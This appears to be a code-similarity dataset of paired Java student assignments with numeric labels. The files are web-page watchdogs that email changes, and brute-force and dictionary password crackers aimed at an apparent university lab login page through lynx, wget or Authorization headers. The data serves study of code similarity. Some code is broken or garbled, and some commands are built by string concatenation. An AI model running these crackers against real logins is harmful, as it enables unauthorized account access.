k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
212.java
197.java
0
import java.net.*; import java.io.*; public class sendMail { public void sendMail(String mailServer, String recipient, String result) { try { Socket s = new Socket(mailServer, 25); BufferedReader in = new BufferedReader (new InputStreamReader(s.getInputStream(), "8859_1")); BufferedWriter out = new BufferedWriter (new OutputStreamWriter(s.getOutputStream(), "8859_1")); send(in, out, "HELO client"); send(in, out, "MAIL FROM: <WatchDog@SecureECommerce.>"); send(in, out, "RCPT : " + recipient); send(in, out, "DATA"); send(out, "Subject: "); send(out, "From: Admin <WatchDog@SecureECommerce.>"); send (out, "\n"); send(out, result); send(out, "\n.\n"); send(in, out, "QUIT"); } catch (Exception e) { e.printStackTrace(); } } public void send(BufferedReader in, BufferedWriter out, String s) { try { out.write(s + "\n"); out.flush(); System.out.println(s); s = in.readLine(); System.out.println(s); } catch (Exception e) { e.printStackTrace(); } } public void send(BufferedWriter out, String s) { try { out.write(s + "\n"); out.flush(); System.out.println(s); } catch (Exception e) { e.printStackTrace(); } } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
214.java
197.java
0
import java.io.*; import java.net.*; import java.util.*; import java.*; public class WatchDog { public static void main (String args[]) { StringWriter sw = new StringWriter(); PrintWriter pw = new PrintWriter(); int flag=1; int loop=0; String ServerType = new String(); String LastModified = null; String urlString = new String("http://www.cs.rmit.edu./students/"); storeNewFile snf = new storeNewFile("History.txt"); storeNewFile snf1 = new storeNewFile("Comparison.txt"); String result = null; getImage myGI = new getImage(); Process myProcess; String line = null; stime = System.currentTimeMillis(); while(loop<5) { try { URL url = new URL (urlString); URLConnection uc = url.openConnection(); InputStream content = (InputStream)uc.getContent(); BufferedReader in = new BufferedReader (new InputStreamReader (content)); String line2; while ((line2 = in.readLine()) != null) { pw.println (line2); } snf1.getStringW(); if(LastModified !=null) { differenceFile df = new differenceFile(); result = df.compareFile(); } if(LastModified==null) { System.out.println("first check"); LastModified=uc.getHeaderField(1); ServerType=uc.getHeaderField(2); snf.getStringW(); myGI.tokenFile("History.txt"); myProcess = Runtime.getRuntime().exec("./compGIF.sh"); } else if(result==null) { myGI.tokenFile("Comparison.txt"); myProcess = Runtime.getRuntime().exec("./compGIF.sh"); BufferedReader inputStream= new BufferedReader(new FileReader("pictResult.txt")); line=inputStream.readLine(); if(line == null) { System.out.println(" changes far.."); } else { while(line!=null) { sendMail t = new sendMail(); t.sendMail("yallara.cs.rmit.edu.", "@cs.rmit.edu.",line); line=inputStream.readLine(); } } inputStream.close(); } else { snf.translogFile(result); sendMail t = new sendMail(); t.sendMail("yallara.cs.rmit.edu.", "@cs.rmit.edu.",result); System.out.println(" email is sent.. sent..sent.."); snf.getStringW(); } snf.closeStream(); snf1.closeStream(); try{ synchronized(url){ url.wait(15000); } } catch(InterruptedException e) { System.out.println("Error in wait() method"); } catch(Exception e){ e.printStackTrace(); } loop++; endtime=System.currentTimeMillis(); System.out.println("process time is : " +(endtime-stime)/1000 +" seconds."); }catch (MalformedURLException e) { pw.println ("Invalid URL"); }catch (IOException e) { pw.println ("Error URL"); } } System.out.println("ETag is "+ ServerType); System.out.println("LastModified is "+ LastModified); } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
108.java
197.java
0
import java.io.InputStream; import java.util.Properties; import javax.naming.Context; import javax.naming.InitialContext; import javax.rmi.PortableRemoteObject; import javax.sql.DataSource; public class DictionaryPropertyHelper { private static Properties dictProps; public DictionaryPropertyHelper() { } public static String getProperty(String pKey){ try{ initProps(); } catch(Exception e){ System.err.println("Error init'ing the dictionary Props"); e.printStackTrace(); } return dictProps.getProperty(pKey); } private static void initProps() throws Exception{ if(dictProps == null){ dictProps = new Properties(); InputStream fis = DictionaryPropertyHelper.class.getResourceAsStream("/dictionary.properties"); dictProps.load(fis); } } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
172.java
197.java
0
import java.*; import java.io.*; public class BruteForce { public static void main(String[] args) { int i,j,k,counter=0; String pass,temp1; char oneTemp[] = {'a'}; char twoTemp[] = {'a','a'}; char threeTemp[] = {'a','a','a'}; String function= new String(); Runtime rtime = Runtime.getRuntime(); Process prs= null; for(i=65;i<123;i++) { if( i > 90 && i < 97) i = 97; oneTemp[0] = (char)i ; pass = new String(oneTemp); System.out.println(pass + " " + "Attack Number=====>" + counter++ ); function ="wget --http-user= --http-passwd="+pass+" http://sec-crack.cs.rmit.edu./SEC/2/index.php"; try { prs = rtime.exec(function); InputStreamReader stre = new InputStreamReader(prs.getErrorStream()); BufferedReader bread = new BufferedReader(stre); while((temp1 = bread.readLine()) != null) { if(temp1.equals("HTTP request sent, awaiting response... 200 OK")) { System.out.println("The password has is:"+pass); System.exit(0); } } }catch(java.io.IOException e){} } for(i=65;i<123;i++) { if( i > 90 && i < 97) i = 97; for(j =65;j<123;j++) { if( j > 90 && j < 97) j = 97; twoTemp[0] = (char)i ; twoTemp[1] = (char)j ; pass = new String(twoTemp); System.out.println(pass + " " + "Attack Number=====>" + counter++ ); function ="wget --http-user= --http-passwd="+pass+" http://sec-crack.cs.rmit.edu./SEC/2/index.php"; try { prs = rtime.exec(function); InputStreamReader stre = new InputStreamReader(prs.getErrorStream()); BufferedReader bread = new BufferedReader(stre); while((temp1 = bread.readLine()) != null) { if(temp1.equals("HTTP request sent, awaiting response... 200 OK")) { System.out.println("The password has is:"+pass); System.exit(0); } } }catch(java.io.IOException e){} } } for(i=65;i<123;i++) { if( i > 90 && i < 97) i = 97; for(j =65;j<123;j++) { if( j > 90 && j < 97) j = 97; for(k = 65;k<123;k++) { if( k > 90 && k < 97) { k = 97;} threeTemp[0] = (char)i ; threeTemp[1] = (char)j ; threeTemp[2] = (char)k ; pass = new String(threeTemp); System.out.println(pass + " " + "Attack Number=====>" + counter++ ); function ="wget --http-user= --http-passwd="+pass+" http://sec-crack.cs.rmit.edu./SEC/2/index.php"; try { prs = rtime.exec(function); InputStreamReader stre = new InputStreamReader(prs.getErrorStream()); BufferedReader bread = new BufferedReader(stre); while((temp1 = bread.readLine()) != null) { if(temp1.equals("HTTP request sent, awaiting response... 200 OK")) { System.out.println("The password has is:"+pass); System.exit(0); } } }catch(java.io.IOException e){} } } } } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
248.java
197.java
0
import java.io.*; import java.net.*; public class Dictionary { private String urlString = "http://sec-crack.cs.rmit.edu./SEC/2/index.php"; private static String password; private static int length; private static int t_counter; private static int f_counter; private static int respCode; private static BufferedReader buf; public Dictionary() { FileReader fRead; Authenticator.setDefault(new DictionaryAuthenticator()); t_counter = 0; f_counter = 0; length = 0; try { fRead = new FileReader("/usr/share/lib/dict/words"); buf = new BufferedReader(fRead); } catch (FileNotFoundException e) { System.out.println("File not found"); } } public static void main(String[] args) { Dictionary dict = new Dictionary(); String file = " "; while(respCode != 200 ) { file = dict.fetchURL(); } System.out.println("Number of attempts: " + t_counter); System.out.println("Password: " + password); System.out.println(file); } private String fetchURL() { StringWriter sw = new StringWriter(); PrintWriter pw = new PrintWriter(); try { URL url = new URL(urlString); HttpURLConnection huc = (HttpURLConnection)url.openConnection(); respCode = huc.getResponseCode(); InputStream content = huc.getInputStream(); BufferedReader in = new BufferedReader (new InputStreamReader (content)); String line; while ((line = in.readLine()) != null) { pw.println(line); } } catch (IOException e) { pw.println("Error URL"); } return sw.toString(); } class DictionaryAuthenticator extends Authenticator { private String username = ""; protected PasswordAuthentication getPasswordAuthentication() { return new PasswordAuthentication(username,generatePassword()); } protected char[] generatePassword() { String word = null; int chars; char c[] = null; chars = 0; if(f_counter == 0) { try { { word = buf.readLine(); if(word != null) { length = word.length(); chars = 0; for(int i=0; i<length; i++) { if(Character.isLetter(word.charAt(i))) chars++; } } } while( word != null && (length > 3 || chars != length)); } catch (IOException ioe) { System.out.println("IO Error: " + ioe); } if(word != null) { c = word.toCharArray(); password = new String(c); } else { System.out.println(" more words in dictionary"); System.exit(0); } f_counter++; } else { c = password.toCharArray(); for(int i=0; i< length; i++) { if(Character.isLowerCase(c[i])) { c[i] = Character.toUpperCase(c[i]); } else { c[i] = Character.toLowerCase(c[i]); } } password = new String(c); f_counter = 0; } t_counter++; return c; } } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
227.java
197.java
0
import java.io.*; import java.net.*; import java.net.HttpURLConnection; import javax.net.*; import java.security.cert.*; public class Dictionary { public static void main(String[] args) { BufferedReader in = null; boolean found = true; String word = null; String cmd = null; Runtime run = Runtime.getRuntime(); Process pro = null; BufferedReader inLine = null; String str = null; URLConnection connection = null; try { FileReader reader = new FileReader("words"); in = new BufferedReader(reader); System.out.println(" cracking...."); { found = true; word = new String(in.readLine()); cmd = "wget --http-user= --http-passwd="+word +" http://sec-crack.cs.rmit.edu./SEC/2/index.php"; pro = run.exec(cmd); inLine = new BufferedReader(new InputStreamReader(pro.getErrorStream())); if((str=inLine.readLine())!=null) { while ((str=inLine.readLine())!=null) { if (str.endsWith("Required")) { found = false; } } } run.gc(); } while (!found); } catch (FileNotFoundException exc) { System.out.println(exc); } catch (IOException exc) { System.out.println(exc); } catch (NullPointerException ex) { System.out.println(word); } finally { try { if (in!= null) { in.print(); } } catch (IOException e) {} } if (found == true) System.out.println("The password is :" + word); else System.out.println("NOT FOUND!"); } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
204.java
197.java
0
import java.io.*; import java.net.*; public class Copier { private URL target; public Copier( String fileName) { try { String line; BufferedReader ; BufferedWriter bout; target = new URL( "http://www.cs.rmit.edu./students"); InputStream hm = target.openStream(); HttpURLConnection urlcon = ( HttpURLConnection) target.openConnection(); bf = new BufferedReader( new InputStreamReader( target.openStream())); bout = new BufferedWriter(new FileWriter(fileName)); while((line = bf.readLine()) != null) { bout.write( line+"\n"); } bout.print(); } catch( Exception e) { System.out.println("Something wrong! "+e); System.exit(0); } } public static void main (String[] args) { Copier c = new Copier("response.html"); } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
141.java
197.java
0
import java.net.*; import java.io.*; import java.util.*; public class WatchDog { public WatchDog() { } public static void main(String[] args) { try { if( args.length != 2 ) { System.out.println("USAGE: java WatchDog <URL> <mailing UserName>"); System.exit(0); } Runtime.getRuntime().exec("rm LastWatch.html"); Runtime.getRuntime().exec("rm WatchDog.ini"); Thread.sleep(1000); while (true) { WatchDog myWatchDog = new WatchDog(); myWatchDog.readHTML(args[0], args[1]); Runtime.getRuntime().exec("rm Report.txt"); Runtime.getRuntime().exec("rm diffReport.txt"); Runtime.getRuntime().exec("rm NewWatch.txt"); System.out.println(" check after 2 ... press Ctrl-Z suspend WatchDog..."); Thread.sleep(2*60*1000); } } catch (Exception e) { e.printStackTrace(); } } void readHTML (String strHTML, String userName) { Properties myProp = loadLastMD5 (); try { System.out.println("Running WatchDog \"" + strHTML + "\" ...... Please Wait...."); URL url = new URL (strHTML); String strHost = url.getHost().toLowerCase(); Runtime r = Runtime.getRuntime(); InputStream in = url.openStream(); DataInputStream bf = new DataInputStream (in); FileOutputStream fOut = new FileOutputStream ("Watch.html"); DataOutputStream dOut = new DataOutputStream (fOut); Vector vtrImages = new Vector (); while ( bf!= null) { String str = bf.readLine(); if (str == null) break; if ( str.toLowerCase().indexOf("img") > 0 ) { int indexImg = str.toLowerCase().indexOf("img"); int indexImgUrl = str.toLowerCase().indexOf("\"", indexImg); int indexImgUrlEnd = str.toLowerCase().indexOf("\"", indexImgUrl+1); String strImage = str.toLowerCase().substring(indexImgUrl+1, indexImgUrlEnd); if (strImage.toLowerCase().indexOf(strHost) > 0) { int index = strImage.toLowerCase().indexOf(strHost) + strHost.length(); strImage = strImage.toLowerCase().substring(index); } if (!vtrImages.contains(strImage.toLowerCase())) vtrImages.add (strImage.toLowerCase()); } dOut.writeBytes(str+"\n"); } dOut.print(); fOut.print(); for (int i=0 ; i < vtrImages.size() ; i ++) { r.exec("wget " + strHost + vtrImages.get(i).toString().trim()); } Thread.sleep(2000); String [] command = {"//sh", "-c","md5sum *.* > NewWatch.txt"}; Runtime.getRuntime().exec(command); Thread.sleep(1000); FileInputStream fIn = new FileInputStream ("NewWatch.txt"); DataInputStream = new DataInputStream (fIn); Properties prop = new Properties (); while ( bf != null) { String str = bf.readLine(); if (str == null) break; int index = str.indexOf(" "); if (fileDownloaded (str.substring(index + 1), vtrImages) || str.substring(index + 1).trim().equalsIgnoreCase("Watch.html") ) prop.setProperty(str.substring(index + 1).trim().toLowerCase(), str.substring(0, index).trim().toLowerCase()); } fIn.close(); int isAnyChange = GenerateChangeFile (strHTML, myProp, prop); if (isAnyChange > 0) { if (isAnyChange == 2) { File f = new File ("LastWatch.html"); if (! f.exists()) { f.createNewFile(); Thread.sleep(1000); } String [] diffCommand = {"//sh", "-c","diff Watch.html LastWatch.html > diffReport.txt"}; Runtime.getRuntime().exec(diffCommand); Thread.sleep(2000); FileInputStream feIn = new FileInputStream ("diffReport.txt"); DataInputStream deIn = new DataInputStream (feIn); FileOutputStream feOut = new FileOutputStream ("Report.txt", true); DataOutputStream deOut = new DataOutputStream (feOut); deOut.writeBytes("\n\n\nDifferences in Target :\n\n"); while (deIn != null) { String str = deIn.readLine(); if (str == null) break; deOut.writeBytes(str + "\n"); } deOut.print(); feOut.print(); deIn.close(); feIn.close(); } String [] mailCommand = {"//sh", "-c","less Report.txt | mail " + userName}; Runtime.getRuntime().exec(mailCommand); System.out.println("Mailing difference"); } else System.out.println(" difference detected"); Runtime.getRuntime().exec("mv Watch.html LastWatch.html"); } catch (Exception e) { e.printStackTrace(); } } private Properties loadLastMD5 () { Properties myProp = new Properties (); try { myProp.load(new FileInputStream ("WatchDog.ini")); } catch (Exception e) { } return myProp; } private boolean fileDownloaded (String strFile, Vector vtrImages) { for ( int i = 0 ; i < vtrImages.size() ; i ++ ) { String strImage = vtrImages.get(i).toString().trim(); if ( strImage.toLowerCase().indexOf(strFile.toLowerCase().trim()) > -1 ) return true; } return false; } private int GenerateChangeFile (String strUrl, Properties myProp, Properties prop) { int change = 0; boolean boolMainChange = false; try { FileOutputStream myOut = new FileOutputStream ("WatchDog.ini"); DataOutputStream myIniOut = new DataOutputStream (myOut); FileOutputStream fOut = new FileOutputStream ("Report.txt"); DataOutputStream dOut = new DataOutputStream (fOut); dOut.writeBytes("Report of changes for \"" + strUrl + "\":\n\n\n\n\n"); Enumeration e = prop.keys(); while (e.hasMoreElements()) { String file = e.nextElement().toString().toLowerCase().trim(); Runtime.getRuntime().exec("rm " + file); myIniOut.writeBytes(file.toLowerCase() + "=" + prop.getProperty(file) + "\n"); if (myProp.containsKey(file)) { String OldValue = myProp.getProperty(file); String newValue = prop.getProperty(file); if (OldValue != null && newValue != null) { if (!OldValue.trim().equals(newValue.trim())) { if (file.toLowerCase().trim().equalsIgnoreCase("Watch.html")) { dOut.writeBytes("Traget html has been changed\n"); boolMainChange = true; } else dOut.writeBytes("File \"" + file + "\" has been changed\n"); change = 1; } } } else { if (file.toLowerCase().trim().equalsIgnoreCase("Watch.html")) { dOut.writeBytes("Target html is checked for first time\n"); boolMainChange = true; } else dOut.writeBytes("File \"" + file + "\" is checked for first time and is new\n"); change = 1; } } dOut.print(); fOut.print(); myIniOut.close(); myOut.close(); } catch (Exception ex) { ex.printStackTrace (); } if (boolMainChange) return 2; return change; } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
023.java
197.java
0
public class HoldSharedData { private int numOfConnections = 0; private int startTime; private int totalTime = 0; private String[] password; private int pwdCount; public HoldSharedData( int time, String[] pwd, int count ) { startTime = time; password = pwd; pwdCount = count; } public int getPwdCount() { return pwdCount; } public void setNumOfConnections( ) { numOfConnections ++; } public int getNumOfConnections() { return numOfConnections; } public int getStartTime() { return startTime; } public void setTotalTime( int newTotalTime ) { totalTime = newTotalTime; } public int getTotalTime() { return totalTime; } public String getPasswordAt( int index ) { return password[index]; } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
013.java
197.java
0
import java.net.*; import java.io.*; import java.util.Vector; import java.util.Date; import java.security.*; public class Dictionary { public static BufferedReader in; public static void main(String[] args) throws Exception { String baseURL = "http://sec-crack.cs.rmit.edu./SEC/2/index.php"; int count=0; Date date = new Date(); startTime=date.getTime(); int LIMITINMINUTES=45; int TIMELIMIT=LIMITINMINUTES*1000*60; boolean timedOut=false; boolean found=false; Vector dictionary=new Vector(readWords()); System.out.println("Words in dictionary: "+dictionary.size()); while (found==false && timedOut==false && dictionary.elementAt(count)!=null) { Date endDate = new Date(); endTime=endDate.getTime(); if (endTime>(TIMELIMIT+startTime)){ System.out.println("Timed out"); timedOut=true; } String password = ""; URL url = new URL(baseURL); String username=""; password = dictionary.elementAt(count).toString(); String authString = username+":"+password; String encoding = new misc.BASE64Encoder().encode(authString.getBytes()); System.out.print("authString is: "+authString); URLConnection urlConnect=url.openConnection(); urlConnect.setRequestProperty("Authorization"," "+encoding); String responseCode = urlConnect.getHeaderField(0); 